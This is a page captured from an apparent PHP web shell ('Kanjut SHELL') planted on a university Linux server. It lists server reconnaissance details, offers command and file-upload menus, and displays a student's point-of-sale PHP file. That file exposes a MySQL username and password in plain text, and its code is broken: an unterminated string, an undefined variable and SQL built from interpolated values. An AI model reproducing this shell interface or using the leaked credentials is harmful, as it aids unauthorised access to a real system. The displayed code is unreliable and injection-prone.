Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.113.189
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wcdavis/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/wcdavis/www/saleaction3.phpy
<?php	session_start();	?>
<center><h2>Sale Confirmation</h2></center><hr>
<?php
	$saleuser = $_SESSION['saleuser'];
	$cash = $_SESSION['cash'];
	$credit = $_SESSION['credit'];
	$check = $_SESSION['check'];
	$giftcard = $_SESSION['giftcard'];
	$total = $_SESSION['total']; 
	$sum = $_SESSION['sum'];
	$diff = $sum - $total;

	echo "Total payment so far: $sum<br>";	
	if($diff!=0)
	{
		echo "Cash to give back back: $diff<p>";
	}

	function mysql_evaluate($query, $default_value="undefined")
        {
                $result = mysql_query($query);
                if (mysql_num_rows($result)==0)  
                        {return $default_value;}
                else
                        {return mysql_result($result,0);}
        }

 	$host = 'localhost';
        $user = 'wcdavis';  
        $pass = 'cs480';  
        $database = 'wcdavis';
        
        $connect = mysql_connect($host, $user, $pass);
        $table_name = 'STORES';

	if($connect)
        {
		$oldsum = mysql_evaluate("SELECT Tsale FROM STORES WHERE storenum = $storenum, 'DEFAULT_TYPE');
		$newsum = $oldsum + $total;
		$query = "UPDATE STORES SET Tsale = $newsum where storenum = $storenum";
		$result_id = mysql_query($query[$i], $connect);
		if($result_id)
		{
			echo "Success! Employee $saleuser successfully sold $total";
		}
	}
	else
	{
		echo "Sale not successful. <a href=UposSale.php> Return to the sale menu?</a><br>";	
	}

?>
<hr>

Stv3n404 - 2023